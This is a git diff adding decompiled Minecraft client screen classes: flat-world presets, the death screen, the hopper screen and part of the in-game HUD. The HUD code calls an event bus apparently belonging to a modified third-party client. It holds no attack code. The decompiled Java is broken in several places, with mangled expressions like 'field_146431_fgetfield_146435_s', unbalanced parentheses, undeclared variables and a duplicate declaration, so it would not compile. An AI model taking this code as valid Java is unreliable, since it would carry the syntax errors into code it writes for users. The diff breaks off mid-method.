+    func_146421_a("Bottomless Pit", Items.feather, BiomeGenBase.plains, Arrays.asList(new String[] { "village", "biome_1" }), new FlatLayerInfo[] { new FlatLayerInfo(1, Blocks.grass), new FlatLayerInfo(3, Blocks.dirt), new FlatLayerInfo(2, Blocks.cobblestone) });
+    func_146421_a("Desert", Item.getItemFromBlock(Blocks.sand), BiomeGenBase.desert, Arrays.asList(new String[] { "village", "biome_1", "decoration", "stronghold", "mineshaft", "dungeon" }), new FlatLayerInfo[] { new FlatLayerInfo(8, Blocks.sand), new FlatLayerInfo(52, Blocks.sandstone), new FlatLayerInfo(3, Blocks.stone), new FlatLayerInfo(1, Blocks.bedrock) });
+    func_146425_a("Redstone Ready", Items.redstone, BiomeGenBase.desert, new FlatLayerInfo[] { new FlatLayerInfo(52, Blocks.sandstone), new FlatLayerInfo(3, Blocks.stone), new FlatLayerInfo(1, Blocks.bedrock) });
+  }
+  
+  static class LayerItem
+  {
+    public Item field_148234_a;
+    public int field_179037_b;
+    public String field_148232_b;
+    public String field_148233_c;
+    private static final String __OBFID = "CL_00000705";
+    
+    public LayerItem(Item p_i45518_1_, int p_i45518_2_, String p_i45518_3_, String p_i45518_4_)
+    {
+      field_148234_a = p_i45518_1_;
+      field_179037_b = p_i45518_2_;
+      field_148232_b = p_i45518_3_;
+      field_148233_c = p_i45518_4_;
+    }
+  }
+  
+  class ListSlot extends GuiSlot
+  {
+    public int field_148175_k = -1;
+    private static final String __OBFID = "CL_00000706";
+    
+    public ListSlot()
+    {
+      super(width, height, 80, height - 37, 24);
+    }
+    
+    private void func_178054_a(int p_178054_1_, int p_178054_2_, Item p_178054_3_, int p_178054_4_)
+    {
+      func_148173_e(p_178054_1_ + 1, p_178054_2_ + 1);
+      GlStateManager.enableRescaleNormal();
+      RenderHelper.enableGUIStandardItemLighting();
+      itemRender.func_175042_a(new ItemStack(p_178054_3_, 1, p_178054_4_), p_178054_1_ + 2, p_178054_2_ + 2);
+      RenderHelper.disableStandardItemLighting();
+      GlStateManager.disableRescaleNormal();
+    }
+    
+    private void func_148173_e(int p_148173_1_, int p_148173_2_)
+    {
+      func_148171_c(p_148173_1_, p_148173_2_, 0, 0);
+    }
+    
+    private void func_148171_c(int p_148171_1_, int p_148171_2_, int p_148171_3_, int p_148171_4_)
+    {
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      mc.getTextureManager().bindTexture(Gui.statIcons);
+      float var5 = 0.0078125F;
+      float var6 = 0.0078125F;
+      boolean var7 = true;
+      boolean var8 = true;
+      Tessellator var9 = Tessellator.getInstance();
+      WorldRenderer var10 = var9.getWorldRenderer();
+      var10.startDrawingQuads();
+      var10.addVertexWithUV(p_148171_1_ + 0, p_148171_2_ + 18, zLevel, (p_148171_3_ + 0) * 0.0078125F, (p_148171_4_ + 18) * 0.0078125F);
+      var10.addVertexWithUV(p_148171_1_ + 18, p_148171_2_ + 18, zLevel, (p_148171_3_ + 18) * 0.0078125F, (p_148171_4_ + 18) * 0.0078125F);
+      var10.addVertexWithUV(p_148171_1_ + 18, p_148171_2_ + 0, zLevel, (p_148171_3_ + 18) * 0.0078125F, (p_148171_4_ + 0) * 0.0078125F);
+      var10.addVertexWithUV(p_148171_1_ + 0, p_148171_2_ + 0, zLevel, (p_148171_3_ + 0) * 0.0078125F, (p_148171_4_ + 0) * 0.0078125F);
+      var9.draw();
+    }
+    
+    protected int getSize()
+    {
+      return GuiFlatPresets.field_146431_f.size();
+    }
+    
+    protected void elementClicked(int slotIndex, boolean isDoubleClick, int mouseX, int mouseY)
+    {
+      field_148175_k = slotIndex;
+      func_146426_g();
+      field_146433_u.setText(field_146431_fgetfield_146435_s.field_148175_k)).field_148233_c);
+    }
+    
+    protected boolean isSelected(int slotIndex)
+    {
+      return slotIndex == field_148175_k;
+    }
+    
+    protected void drawBackground() {}
+    
+    protected void drawSlot(int p_180791_1_, int p_180791_2_, int p_180791_3_, int p_180791_4_, int p_180791_5_, int p_180791_6_)
+    {
+      GuiFlatPresets.LayerItem var7 = (GuiFlatPresets.LayerItem)GuiFlatPresets.field_146431_f.get(p_180791_1_);
+      func_178054_a(p_180791_2_, p_180791_3_, field_148234_a, field_179037_b);
+      fontRendererObj.drawString(field_148232_b, p_180791_2_ + 18 + 5, p_180791_3_ + 6, 16777215);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiGameOver.java b/src/minecraft/net/minecraft/client/gui/GuiGameOver.java
new file mode 100644
index 0000000..50ec8c1
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiGameOver.java
@@ -0,0 +1,137 @@
+package net.minecraft.client.gui;
+
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.resources.I18n;
+
+public class GuiGameOver extends GuiScreen implements GuiYesNoCallback
+{
+  private int field_146347_a;
+  private boolean field_146346_f = false;
+  
+  private static final String __OBFID = "CL_00000690";
+  
+  public GuiGameOver() {}
+  
+  public void initGui()
+  {
+    buttonList.clear();
+    
+    if (mc.theWorld.getWorldInfo().isHardcoreModeEnabled())
+    {
+      if (mc.isIntegratedServerRunning())
+      {
+        buttonList.add(new GuiButton(1, width / 2 - 100, height / 4 + 96, I18n.format("deathScreen.deleteWorld", new Object[0])));
+      }
+      else
+      {
+        buttonList.add(new GuiButton(1, width / 2 - 100, height / 4 + 96, I18n.format("deathScreen.leaveServer", new Object[0])));
+      }
+    }
+    else
+    {
+      buttonList.add(new GuiButton(0, width / 2 - 100, height / 4 + 72, I18n.format("deathScreen.respawn", new Object[0])));
+      buttonList.add(new GuiButton(1, width / 2 - 100, height / 4 + 96, I18n.format("deathScreen.titleScreen", new Object[0])));
+      
+      if (mc.getSession() == null)
+      {
+        buttonList.get(1)).enabled = false;
+      }
+    }
+    
+    GuiButton var2;
+    
+    for (Iterator var1 = buttonList.iterator(); var1.hasNext(); enabled = false)
+    {
+      var2 = (GuiButton)var1.next();
+    }
+  }
+  
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws java.io.IOException
+  {}
+  
+  protected void actionPerformed(GuiButton button)
+    throws java.io.IOException
+  {
+    switch (id)
+    {
+    case 0: 
+      mc.thePlayer.respawnPlayer();
+      mc.displayGuiScreen(null);
+      break;
+    
+    case 1: 
+      GuiYesNo var2 = new GuiYesNo(this, I18n.format("deathScreen.quit.confirm", new Object[0]), "", I18n.format("deathScreen.titleScreen", new Object[0]), I18n.format("deathScreen.respawn", new Object[0]), 0);
+      mc.displayGuiScreen(var2);
+      var2.setButtonDelay(20);
+    }
+  }
+  
+  public void confirmClicked(boolean result, int id)
+  {
+    if (result)
+    {
+      mc.theWorld.sendQuittingDisconnectingPacket();
+      mc.loadWorld(null);
+      mc.displayGuiScreen(new GuiMainMenu());
+    }
+    else
+    {
+      mc.thePlayer.respawnPlayer();
+      mc.displayGuiScreen(null);
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawGradientRect(0, 0, width, height, 1615855616, -1602211792);
+    net.minecraft.client.renderer.GlStateManager.pushMatrix();
+    net.minecraft.client.renderer.GlStateManager.scale(2.0F, 2.0F, 2.0F);
+    boolean var4 = mc.theWorld.getWorldInfo().isHardcoreModeEnabled();
+    String var5 = var4 ? I18n.format("deathScreen.title.hardcore", new Object[0]) : I18n.format("deathScreen.title", new Object[0]);
+    drawCenteredString(fontRendererObj, var5, width / 2 / 2, 30, 16777215);
+    net.minecraft.client.renderer.GlStateManager.popMatrix();
+    
+    if (var4)
+    {
+      drawCenteredString(fontRendererObj, I18n.format("deathScreen.hardcoreInfo", new Object[0]), width / 2, 144, 16777215);
+    }
+    
+    drawCenteredString(fontRendererObj, I18n.format("deathScreen.score", new Object[0]) + ": " + net.minecraft.util.EnumChatFormatting.YELLOW + mc.thePlayer.getScore(), width / 2, 100, 16777215);
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+
+
+
+  public boolean doesGuiPauseGame()
+  {
+    return false;
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    super.updateScreen();
+    field_146347_a += 1;
+    
+
+    if (field_146347_a == 20) {
+      GuiButton var2;
+      for (Iterator var1 = buttonList.iterator(); var1.hasNext(); enabled = true)
+      {
+        var2 = (GuiButton)var1.next();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiHopper.java b/src/minecraft/net/minecraft/client/gui/GuiHopper.java
new file mode 100644
index 0000000..0a84edd
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiHopper.java
@@ -0,0 +1,47 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.inventory.GuiContainer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.inventory.ContainerHopper;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.ResourceLocation;
+
+public class GuiHopper extends GuiContainer
+{
+  private static final ResourceLocation field_147085_u = new ResourceLocation("textures/gui/container/hopper.png");
+  private IInventory field_147084_v;
+  private IInventory field_147083_w;
+  private static final String __OBFID = "CL_00000759";
+  
+  public GuiHopper(InventoryPlayer p_i1092_1_, IInventory p_i1092_2_)
+  {
+    super(new ContainerHopper(p_i1092_1_, p_i1092_2_, getMinecraftthePlayer));
+    field_147084_v = p_i1092_1_;
+    field_147083_w = p_i1092_2_;
+    allowUserInput = false;
+    ySize = 133;
+  }
+  
+
+
+
+  protected void drawGuiContainerForegroundLayer(int mouseX, int mouseY)
+  {
+    fontRendererObj.drawString(field_147083_w.getDisplayName().getUnformattedText(), 8, 6, 4210752);
+    fontRendererObj.drawString(field_147084_v.getDisplayName().getUnformattedText(), 8, ySize - 96 + 2, 4210752);
+  }
+  
+
+
+
+  protected void drawGuiContainerBackgroundLayer(float partialTicks, int mouseX, int mouseY)
+  {
+    net.minecraft.client.renderer.GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    mc.getTextureManager().bindTexture(field_147085_u);
+    int var4 = (width - xSize) / 2;
+    int var5 = (height - ySize) / 2;
+    drawTexturedModalRect(var4, var5, 0, 0, xSize, ySize);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiIngame.java b/src/minecraft/net/minecraft/client/gui/GuiIngame.java
new file mode 100644
index 0000000..2956684
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiIngame.java
@@ -0,0 +1,1220 @@
+package net.minecraft.client.gui;
+
+import com.enjoytheban.api.EventBus;
+import com.google.common.collect.Iterables;
+import com.google.common.collect.Lists;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Random;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.multiplayer.PlayerControllerMP;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.renderer.BlockModelShapes;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.RenderHelper;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.entity.RenderItem;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.boss.BossStatus;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.potion.Potion;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.scoreboard.Score;
+import net.minecraft.scoreboard.ScoreObjective;
+import net.minecraft.scoreboard.ScorePlayerTeam;
+import net.minecraft.scoreboard.Scoreboard;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.FoodStats;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.border.WorldBorder;
+import net.minecraft.world.storage.WorldInfo;
+import optifine.Config;
+import optifine.CustomColors;
+
+public class GuiIngame extends Gui
+{
+  private static final ResourceLocation vignetteTexPath = new ResourceLocation("textures/misc/vignette.png");
+  private static final ResourceLocation widgetsTexPath = new ResourceLocation("textures/gui/widgets.png");
+  private static final ResourceLocation pumpkinBlurTexPath = new ResourceLocation("textures/misc/pumpkinblur.png");
+  private final Random rand = new Random();
+  
+  private final Minecraft mc;
+  
+  private final RenderItem itemRenderer;
+  
+  private final GuiNewChat persistantChatGUI;
+  
+  private final GuiStreamIndicator streamIndicator;
+  private int updateCounter;
+  private String recordPlaying = "";
+  
+
+  private int recordPlayingUpFor;
+  
+  private boolean recordIsPlaying;
+  
+  public float prevVignetteBrightness = 1.0F;
+  
+  private int remainingHighlightTicks;
+  
+  private ItemStack highlightingItemStack;
+  
+  private final GuiOverlayDebug overlayDebug;
+  
+  private final GuiSpectator field_175197_u;
+  private final GuiPlayerTabOverlay overlayPlayerList;
+  private int field_175195_w;
+  private String field_175201_x = "";
+  private String field_175200_y = "";
+  private int field_175199_z;
+  private int field_175192_A;
+  private int field_175193_B;
+  private int field_175194_C = 0;
+  private int field_175189_D = 0;
+  private long field_175190_E = 0L;
+  private long field_175191_F = 0L;
+  private static final String __OBFID = "CL_00000661";
+  
+  public GuiIngame(Minecraft mcIn)
+  {
+    mc = mcIn;
+    itemRenderer = mcIn.getRenderItem();
+    overlayDebug = new GuiOverlayDebug(mcIn);
+    field_175197_u = new GuiSpectator(mcIn);
+    persistantChatGUI = new GuiNewChat(mcIn);
+    streamIndicator = new GuiStreamIndicator(mcIn);
+    overlayPlayerList = new GuiPlayerTabOverlay(mcIn, this);
+    func_175177_a();
+  }
+  
+  public void func_175177_a()
+  {
+    field_175199_z = 10;
+    field_175192_A = 70;
+    field_175193_B = 20;
+  }
+  
+  public void func_175180_a(float p_175180_1_)
+  {
+    ScaledResolution var2 = new ScaledResolution(mc);
+    int var3 = var2.getScaledWidth();
+    int var4 = var2.getScaledHeight();
+    mc.entityRenderer.setupOverlayRendering();
+    GlStateManager.enableBlend();
+    
+    if (Config.isVignetteEnabled())
+    {
+      func_180480_a(mc.thePlayer.getBrightness(p_175180_1_), var2);
+    }
+    else
+    {
+      GlStateManager.enableDepth();
+      GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+    }
+    
+    ItemStack var5 = mc.thePlayer.inventory.armorItemInSlot(3);
+    
+    if ((mc.gameSettings.thirdPersonView == 0) && (var5 != null) && (var5.getItem() == Item.getItemFromBlock(Blocks.pumpkin)))
+    {
+      func_180476_e(var2);
+    }
+    
+
+
+    if (!mc.thePlayer.isPotionActive(Potion.confusion))
+    {
+      float var7 = mc.thePlayer.prevTimeInPortal + (mc.thePlayer.timeInPortal - mc.thePlayer.prevTimeInPortal) * p_175180_1_;
+      
+      if (var7 > 0.0F)
+      {
+        func_180474_b(var7, var2);
+      }
+    }
+    
+    if (mc.playerController.enableEverythingIsScrewedUpMode())
+    {
+      field_175197_u.func_175264_a(var2, p_175180_1_);
+    }
+    else
+    {
+      func_180479_a(var2, p_175180_1_);
+    }
+    
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    mc.getTextureManager().bindTexture(icons);
+    GlStateManager.enableBlend();
+    
+    if ((func_175183_b()) && (mc.gameSettings.thirdPersonView < 1))
+    {
+      GlStateManager.tryBlendFuncSeparate(775, 769, 1, 0);
+      GlStateManager.enableAlpha();
+      drawTexturedModalRect(var3 / 2 - 7, var4 / 2 - 7, 0, 0, 16, 16);
+    }
+    
+    GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+    mc.mcProfiler.startSection("bossHealth");
+    renderBossHealth();
+    mc.mcProfiler.endSection();
+    
+    if (mc.playerController.shouldDrawHUD())
+    {
+      func_180477_d(var2);
+    }
+    
+    GlStateManager.disableBlend();
+    
+
+
+    if (mc.thePlayer.getSleepTimer() > 0)
+    {
+      mc.mcProfiler.startSection("sleep");
+      GlStateManager.disableDepth();
+      GlStateManager.disableAlpha();
+      int var11 = mc.thePlayer.getSleepTimer();
+      float var7 = var11 / 100.0F;
+      
+      if (var7 > 1.0F)
+      {
+        var7 = 1.0F - (var11 - 100) / 10.0F;
+      }
+      
+      int var8 = (int)(220.0F * var7) << 24 | 0x101020;
+      drawRect(0.0D, 0.0D, var3, var4, var8);
+      GlStateManager.enableAlpha();
+      GlStateManager.enableDepth();
+      mc.mcProfiler.endSection();
+    }
+    
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    int var11 = var3 / 2 - 91;
+    
+    if (mc.thePlayer.isRidingHorse())
+    {
+      func_175186_a(var2, var11);
+    }
+    else if (mc.playerController.gameIsSurvivalOrAdventure())
+    {
+      func_175176_b(var2, var11);
+    }
+    
+    if ((mc.gameSettings.heldItemTooltips) && (!mc.playerController.enableEverythingIsScrewedUpMode()))
+    {
+      func_175182_a(var2);
+    }
+    else if (mc.thePlayer.func_175149_v())
+    {
+      field_175197_u.func_175263_a(var2);
+    }
+    
+    if (mc.isDemo())
+    {
+      func_175185_b(var2);
+    }
+    
+    if (mc.gameSettings.showDebugInfo)
+    {
+      overlayDebug.func_175237_a(var2);
+    }
+    
+
+
+    if (recordPlayingUpFor > 0)
+    {
+      mc.mcProfiler.startSection("overlayMessage");
+      float var7 = recordPlayingUpFor - p_175180_1_;
+      int var8 = (int)(var7 * 255.0F / 20.0F);
+      
+      if (var8 > 255)
+      {
+        var8 = 255;
+      }
+      
+      if (var8 > 8)
+      {
+        GlStateManager.pushMatrix();
+        GlStateManager.translate(var3 / 2, var4 - 68, 0.0F);
+        GlStateManager.enableBlend();
+        GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+        int var9 = 16777215;
+        
+        if (recordIsPlaying)
+        {
+          var9 = java.awt.Color.HSBtoRGB(var7 / 50.0F, 0.7F, 0.6F) & 0xFFFFFF;
+        }
+        
+        func_175179_f().drawString(recordPlaying, -func_175179_f().getStringWidth(recordPlaying) / 2, -4, var9 + (var8 << 24 & 0xFF000000));
+        GlStateManager.disableBlend();
+        GlStateManager.popMatrix();
+      }
+      
+      mc.mcProfiler.endSection();
+    }
+    
+    if (field_175195_w > 0)
+    {
+      mc.mcProfiler.startSection("titleAndSubtitle");
+      float var7 = field_175195_w - p_175180_1_;
+      int var8 = 255;
+      
+      if (field_175195_w > field_175193_B + field_175192_A)
+      {
+        float var12 = field_175199_z + field_175192_A + field_175193_B - var7;
+        var8 = (int)(var12 * 255.0F / field_175199_z);
+      }
+      
+      if (field_175195_w <= field_175193_B)
+      {
+        var8 = (int)(var7 * 255.0F / field_175193_B);
+      }
+      
+      var8 = MathHelper.clamp_int(var8, 0, 255);
+      
+      if (var8 > 8)
+      {
+        GlStateManager.pushMatrix();
+        GlStateManager.translate(var3 / 2, var4 / 2, 0.0F);
+        GlStateManager.enableBlend();
+        GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+        GlStateManager.pushMatrix();
+        GlStateManager.scale(4.0F, 4.0F, 4.0F);
+        int var9 = var8 << 24 & 0xFF000000;
+        func_175179_f().func_175065_a(field_175201_x, -func_175179_f().getStringWidth(field_175201_x) / 2, -10.0F, 0xFFFFFF | var9, true);
+        GlStateManager.popMatrix();
+        GlStateManager.pushMatrix();
+        GlStateManager.scale(2.0F, 2.0F, 2.0F);
+        func_175179_f().func_175065_a(field_175200_y, -func_175179_f().getStringWidth(field_175200_y) / 2, 5.0F, 0xFFFFFF | var9, true);
+        GlStateManager.popMatrix();
+        GlStateManager.disableBlend();
+        GlStateManager.popMatrix();
+      }
+      
+      mc.mcProfiler.endSection();
+    }
+    
+    Scoreboard var121 = mc.theWorld.getScoreboard();
+    ScoreObjective var13 = null;
+    ScorePlayerTeam var15 = var121.getPlayersTeam(mc.thePlayer.getName());
+    
+    if (var15 != null)
+    {
+      int var16 = var15.func_178775_l().func_175746_b();
+      
+      if (var16 >= 0)
+      {
+        var13 = var121.getObjectiveInDisplaySlot(3 + var16);
+      }
+    }
+    
+    ScoreObjective var161 = var13 != null ? var13 : var121.getObjectiveInDisplaySlot(1);
+    
+    if (var161 != null)
+    {
+      func_180475_a(var161, var2);
+    }
+    
+    GlStateManager.enableBlend();
+    GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+    GlStateManager.disableAlpha();
+    GlStateManager.pushMatrix();
+    GlStateManager.translate(0.0F, var4 - 48, 0.0F);
+    mc.mcProfiler.startSection("chat");
+    persistantChatGUI.drawChat(updateCounter);
+    mc.mcProfiler.endSection();
+    GlStateManager.popMatrix();
+    var161 = var121.getObjectiveInDisplaySlot(0);
+    
+    if ((mc.gameSettings.keyBindPlayerList.getIsKeyPressed()) && ((!mc.isIntegratedServerRunning()) || (mc.thePlayer.sendQueue.func_175106_d().size() > 1) || (var161 != null)))
+    {
+      overlayPlayerList.func_175246_a(true);
+      overlayPlayerList.func_175249_a(var3, var121, var161);
+    }
+    else
+    {
+      overlayPlayerList.func_175246_a(false);
+    }
+    
+    EventBus.getInstance().call(new com.enjoytheban.api.events.rendering.EventRender2D(p_175180_1_));
+    
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    GlStateManager.disableLighting();
+    GlStateManager.enableAlpha();
+  }
+  
+  protected void func_180479_a(ScaledResolution p_180479_1_, float p_180479_2_)
+  {
+    if ((mc.func_175606_aa() instanceof EntityPlayer))
+    {
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      mc.getTextureManager().bindTexture(widgetsTexPath);
+      EntityPlayer var3 = (EntityPlayer)mc.func_175606_aa();
+      int var4 = p_180479_1_.getScaledWidth() / 2;
+      float var5 = zLevel;
+      zLevel = -90.0F;
+      drawTexturedModalRect(var4 - 91, p_180479_1_.getScaledHeight() - 22, 0, 0, 182, 22);
+      drawTexturedModalRect(var4 - 91 - 1 + inventory.currentItem * 20, p_180479_1_.getScaledHeight() - 22 - 1, 0, 22, 24, 22);
+      zLevel = var5;
+      GlStateManager.enableRescaleNormal();
+      GlStateManager.enableBlend();
+      GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+      RenderHelper.enableGUIStandardItemLighting();
+      
+      for (int var6 = 0; var6 < 9; var6++)
+      {
+        int var7 = p_180479_1_.getScaledWidth() / 2 - 90 + var6 * 20 + 2;
+        int var8 = p_180479_1_.getScaledHeight() - 16 - 3;
+        func_175184_a(var6, var7, var8, p_180479_2_, var3);
+      }
+      
+      RenderHelper.disableStandardItemLighting();
+      GlStateManager.disableRescaleNormal();
+      GlStateManager.disableBlend();
+    }
+  }
+  
+  public void func_175186_a(ScaledResolution p_175186_1_, int p_175186_2_)
+  {
+    mc.mcProfiler.startSection("jumpBar");
+    mc.getTextureManager().bindTexture(Gui.icons);
+    float var3 = mc.thePlayer.getHorseJumpPower();
+    short var4 = 182;
+    int var5 = (int)(var3 * (var4 + 1));
+    int var6 = p_175186_1_.getScaledHeight() - 32 + 3;
+    drawTexturedModalRect(p_175186_2_, var6, 0, 84, var4, 5);
+    
+    if (var5 > 0)
+    {
+      drawTexturedModalRect(p_175186_2_, var6, 0, 89, var5, 5);
+    }
+    
+    mc.mcProfiler.endSection();
+  }
+  
+  public void func_175176_b(ScaledResolution p_175176_1_, int p_175176_2_)
+  {
+    mc.mcProfiler.startSection("expBar");
+    mc.getTextureManager().bindTexture(Gui.icons);
+    int var3 = mc.thePlayer.xpBarCap();
+    
+
+    if (var3 > 0)
+    {
+      short var9 = 182;
+      int var10 = (int)(mc.thePlayer.experience * (var9 + 1));
+      int var6 = p_175176_1_.getScaledHeight() - 32 + 3;
+      drawTexturedModalRect(p_175176_2_, var6, 0, 64, var9, 5);
+      
+      if (var10 > 0)
+      {
+        drawTexturedModalRect(p_175176_2_, var6, 0, 69, var10, 5);
+      }
+    }
+    
+    mc.mcProfiler.endSection();
+    
+    if (mc.thePlayer.experienceLevel > 0)
+    {
+      mc.mcProfiler.startSection("expLevel");
+      int var91 = 8453920;
+      
+      if (Config.isCustomColors())
+      {
+        var91 = CustomColors.getExpBarTextColor(var91);
+      }
+      
+      String var101 = mc.thePlayer.experienceLevel;
+      int var6 = (p_175176_1_.getScaledWidth() - func_175179_f().getStringWidth(var101)) / 2;
+      int var7 = p_175176_1_.getScaledHeight() - 31 - 4;
+      boolean var8 = false;
+      func_175179_f().drawString(var101, var6 + 1, var7, 0);
+      func_175179_f().drawString(var101, var6 - 1, var7, 0);
+      func_175179_f().drawString(var101, var6, var7 + 1, 0);
+      func_175179_f().drawString(var101, var6, var7 - 1, 0);
+      func_175179_f().drawString(var101, var6, var7, var91);
+      mc.mcProfiler.endSection();
+    }
+  }
+  
+  public void func_175182_a(ScaledResolution p_175182_1_)
+  {
+    mc.mcProfiler.startSection("toolHighlight");
+    
+    if ((remainingHighlightTicks > 0) && (highlightingItemStack != null))
+    {
+      String var2 = highlightingItemStack.getDisplayName();
+      
+      if (highlightingItemStack.hasDisplayName())
+      {
+        var2 = EnumChatFormatting.ITALIC + var2;
+      }
+      
+      int var3 = (p_175182_1_.getScaledWidth() - func_175179_f().getStringWidth(var2)) / 2;
+      int var4 = p_175182_1_.getScaledHeight() - 59;
+      
+      if (!mc.playerController.shouldDrawHUD())
+      {
+        var4 += 14;
+      }
+      
+      int var5 = (int)(remainingHighlightTicks * 256.0F / 10.0F);
+      
+      if (var5 > 255)
+      {
+        var5 = 255;
+      }
+      
+      if (var5 > 0)
+      {
+        GlStateManager.pushMatrix();
+        GlStateManager.enableBlend();
+        GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+        func_175179_f().drawStringWithShadow(var2, var3, var4, 16777215 + (var5 << 24));
+        GlStateManager.disableBlend();
+        GlStateManager.popMatrix();
+      }
+    }
+    
+    mc.mcProfiler.endSection();
+  }
+  
+  public void func_175185_b(ScaledResolution p_175185_1_)
+  {
+    mc.mcProfiler.startSection("demo");
+    String var2 = "";
+    
+    if (mc.theWorld.getTotalWorldTime() >= 120500L)
+    {
+      var2 = I18n.format("demo.demoExpired", new Object[0]);
+    }
+    else
+    {
+      var2 = I18n.format("demo.remainingTime", new Object[] { net.minecraft.util.StringUtils.ticksToElapsedTime((int)(120500L - mc.theWorld.getTotalWorldTime())) });
+    }
+    
+    int var3 = func_175179_f().getStringWidth(var2);
+    func_175179_f().drawStringWithShadow(var2, p_175185_1_.getScaledWidth() - var3 - 10, 5.0F, 16777215);
+    mc.mcProfiler.endSection();
+  }
+  
+  protected boolean func_175183_b()
+  {
+    if ((mc.gameSettings.showDebugInfo) && (!mc.thePlayer.func_175140_cp()) && (!mc.gameSettings.field_178879_v))
+    {
+      return false;
+    }
+    if (mc.playerController.enableEverythingIsScrewedUpMode())
+    {
+      if (mc.pointedEntity != null)
+      {
+        return true;
+      }
+      
+
+      if ((mc.objectMouseOver != null) && (mc.objectMouseOver.typeOfHit == net.minecraft.util.MovingObjectPosition.MovingObjectType.BLOCK))
+      {
+        net.minecraft.util.BlockPos var1 = mc.objectMouseOver.func_178782_a();
+        
+        if ((mc.theWorld.getTileEntity(var1) instanceof IInventory))
+        {
+          return true;
+        }
+      }
+      
+      return false;
+    }
+    
+
+
+    return true;
+  }
+  
+
+  public void func_180478_c(ScaledResolution p_180478_1_)
+  {
+    streamIndicator.render(p_180478_1_.getScaledWidth() - 10, 10);
+  }
+  
+  private void func_180475_a(ScoreObjective p_180475_1_, ScaledResolution p_180475_2_)
+  {
+    Scoreboard var3 = p_180475_1_.getScoreboard();
+    Collection var4 = var3.getSortedScores(p_180475_1_);
+    ArrayList var5 = Lists.newArrayList(Iterables.filter(var4, new com.google.common.base.Predicate()
+    {
+      private static final String __OBFID = "CL_00001958";
+      
+      public boolean func_178903_a(Score p_178903_1_) {
+        return (p_178903_1_.getPlayerName() != null) && (!p_178903_1_.getPlayerName().startsWith("#"));
+      }
+      
+      public boolean apply(Object p_apply_1_) {
+        return func_178903_a((Score)p_apply_1_);
+      }
+    }));
+    ArrayList var21;
+    ArrayList var21;
+    if (var5.size() > 15)
+    {
+      var21 = Lists.newArrayList(Iterables.skip(var5, var4.size() - 15));
+    }
+    else
+    {
+      var21 = var5;
+    }
+    
+    int var6 = func_175179_f().getStringWidth(p_180475_1_.getDisplayName());
+    
+    String var10;
+    for (Iterator var22 = var21.iterator(); var22.hasNext(); var6 = Math.max(var6, func_175179_f().getStringWidth(var10)))
+    {
+      Score var23 = (Score)var22.next();
+      ScorePlayerTeam var24 = var3.getPlayersTeam(var23.getPlayerName());
+      var10 = ScorePlayerTeam.formatPlayerName(var24, var23.getPlayerName()) + ": " + EnumChatFormatting.RED + var23.getScorePoints();
+    }
+    
+    int var221 = var21.size() * func_175179_fFONT_HEIGHT;
+    int var231 = p_180475_2_.getScaledHeight() / 2 + var221 / 3;
+    byte var241 = 3;
+    int var25 = p_180475_2_.getScaledWidth() - var6 - var241;
+    int var11 = 0;
+    Iterator var12 = var21.iterator();
+    
+    while (var12.hasNext())
+    {
+      Score var13 = (Score)var12.next();
+      var11++;
+      ScorePlayerTeam var14 = var3.getPlayersTeam(var13.getPlayerName());
+      String var15 = ScorePlayerTeam.formatPlayerName(var14, var13.getPlayerName());
+      String var16 = EnumChatFormatting.RED + var13.getScorePoints();
